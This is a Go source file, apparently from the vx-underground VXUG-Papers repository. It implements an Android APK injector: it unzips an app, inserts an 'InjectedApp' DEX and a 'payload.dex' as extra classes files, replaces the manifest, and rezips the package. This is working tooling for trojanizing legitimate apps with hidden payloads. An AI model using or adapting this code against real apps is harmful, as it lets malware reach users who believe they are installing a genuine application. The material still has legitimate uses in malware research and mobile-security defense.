mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-07-05 09:31:31 +00:00
241 lines
5.1 KiB
Go
241 lines
5.1 KiB
Go
package common
|
|
|
|
import (
|
|
"archive/zip"
|
|
"compress/flate"
|
|
"fmt"
|
|
"io"
|
|
"io/ioutil"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
)
|
|
|
|
var zipOutput, _ = filepath.Abs("sample_unzipped")
|
|
var injectedAppPrevName, _ = filepath.Abs("InjectedApp_patched.dex")
|
|
var payloadPrevName, _ = filepath.Abs("payload.dex")
|
|
|
|
func Inject(path string, zipModifiedOutput string) {
|
|
|
|
if _, err := os.Stat(zipOutput); err == nil {
|
|
err := os.RemoveAll(zipOutput)
|
|
if err != nil {
|
|
log.Panic(err)
|
|
}
|
|
}
|
|
if _, err := os.Stat(zipModifiedOutput); err == nil {
|
|
err := os.Remove(zipModifiedOutput)
|
|
if err != nil {
|
|
log.Panic(err)
|
|
}
|
|
}
|
|
|
|
|
|
//unzip apk
|
|
files, err := unzip(path, zipOutput)
|
|
if err != nil {
|
|
log.Panic("Failed to unzip APK",err)
|
|
//log.Printf("Unzipped:\n" + strings.Join(files, "\n"))
|
|
}
|
|
|
|
//calc classes.dex index
|
|
max := strings.Count(strings.Join(files, ""), "classes")
|
|
log.Printf("max classes dex index = %d", max)
|
|
max += 1
|
|
|
|
// inject InjectedApp.dex
|
|
var injectedAppNewName = "classes" + strconv.Itoa(max) + ".dex"
|
|
|
|
|
|
copy(injectedAppPrevName, zipOutput + "\\" + injectedAppNewName)
|
|
|
|
max +=1
|
|
|
|
// inject payload.dex
|
|
var payloadNewName = "classes" + strconv.Itoa(max) + ".dex"
|
|
|
|
|
|
copy(payloadPrevName, zipOutput + "\\" + payloadNewName)
|
|
|
|
log.Printf("Successfuly injected DEX:" + injectedAppNewName + "," + payloadNewName)
|
|
|
|
//replace manifest
|
|
copy(ManifestBinaryPath, zipOutput + "\\AndroidManifest.xml")
|
|
|
|
files = append(files[0:], zipOutput + "\\" + injectedAppNewName)
|
|
files = append(files[0:], zipOutput + "\\" + payloadNewName)
|
|
|
|
// zip all files
|
|
fmt.Println("\t--zipping...")
|
|
ZipWriter(zipModifiedOutput)
|
|
|
|
//delete sample_unzipped - we dont need it
|
|
|
|
if _, err := os.Stat(zipOutput); err == nil {
|
|
err := os.RemoveAll(zipOutput)
|
|
if err != nil {
|
|
log.Panic(err)
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
func ZipWriter(zipModifiedOutput string) {
|
|
baseFolder,_ := filepath.Abs("sample_unzipped")
|
|
|
|
// Get a Buffer to Write To
|
|
outFile, err := os.Create(zipModifiedOutput)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
defer outFile.Close()
|
|
|
|
// Create a new zip archive.
|
|
w := zip.NewWriter(outFile)
|
|
|
|
// Register a custom Deflate compressor.
|
|
w.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) {
|
|
return flate.NewWriter(out, flate.BestCompression)
|
|
})
|
|
|
|
// Add some files to the archive.
|
|
addFiles(w, baseFolder, "")
|
|
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
|
|
// Make sure to check the error on Close.
|
|
err = w.Close()
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
}
|
|
|
|
func addFiles(w *zip.Writer, basePath, baseInZip string) {
|
|
// Open the Directory
|
|
files, err := ioutil.ReadDir(basePath)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
|
|
for _, file := range files {
|
|
//fmt.Println(basePath + file.Name())
|
|
if !file.IsDir() {
|
|
dat, err := ioutil.ReadFile(basePath + "\\" + file.Name())
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
|
|
// Add some files to the archive.
|
|
f, err := w.Create(baseInZip + file.Name())
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
_, err = f.Write(dat)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
} else if file.IsDir() {
|
|
|
|
// Recurse
|
|
newBase := basePath + "\\" + file.Name()
|
|
//fmt.Println("Recursing and Adding SubDir: " + file.Name())
|
|
//fmt.Println("Recursing and Adding SubDir: " + newBase)
|
|
|
|
recPath := baseInZip + file.Name() + "/"
|
|
addFiles(w, newBase, recPath)
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
func copy(src, dst string){
|
|
sourceFileStat, err := os.Stat(src)
|
|
if err != nil {
|
|
log.Panic("Failed to inject DEX", err)
|
|
}
|
|
|
|
if !sourceFileStat.Mode().IsRegular() {
|
|
log.Panic("Failed to inject DEX", err)
|
|
}
|
|
|
|
source, err := os.Open(src)
|
|
if err != nil {
|
|
log.Panic("Failed to inject DEX", err)
|
|
}
|
|
defer source.Close()
|
|
|
|
destination, err := os.Create(dst)
|
|
if err != nil {
|
|
log.Panic("Failed to inject DEX", err)
|
|
}
|
|
defer destination.Close()
|
|
_, err = io.Copy(destination, source)
|
|
if err != nil {
|
|
log.Panic("Failed to inject DEX", err)
|
|
}
|
|
}
|
|
|
|
// Unzip will decompress a zip archive, moving all files and folders
|
|
// within the zip file (parameter 1) to an output directory (parameter 2).
|
|
func unzip(src string, dest string) ([]string, error) {
|
|
|
|
var filenames []string
|
|
|
|
r, err := zip.OpenReader(src)
|
|
if err != nil {
|
|
return filenames, err
|
|
}
|
|
defer r.Close()
|
|
|
|
for _, f := range r.File {
|
|
|
|
// Store filename/path for returning and using later on
|
|
fpath := filepath.Join(dest, f.Name)
|
|
|
|
// Check for ZipSlip. More Info: http://bit.ly/2MsjAWE
|
|
if !strings.HasPrefix(fpath, filepath.Clean(dest)+string(os.PathSeparator)) {
|
|
return filenames, fmt.Errorf("%s: illegal file path", fpath)
|
|
}
|
|
|
|
filenames = append(filenames, fpath)
|
|
|
|
if f.FileInfo().IsDir() {
|
|
// Make Folder
|
|
os.MkdirAll(fpath, os.ModePerm)
|
|
continue
|
|
}
|
|
|
|
// Make File
|
|
if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil {
|
|
return filenames, err
|
|
}
|
|
|
|
outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
|
|
if err != nil {
|
|
return filenames, err
|
|
}
|
|
|
|
rc, err := f.Open()
|
|
if err != nil {
|
|
return filenames, err
|
|
}
|
|
|
|
_, err = io.Copy(outFile, rc)
|
|
|
|
// Close the file without defer to close before next iteration of loop
|
|
outFile.Close()
|
|
rc.Close()
|
|
|
|
if err != nil {
|
|
return filenames, err
|
|
}
|
|
}
|
|
return filenames, nil
|
|
}
|
|
|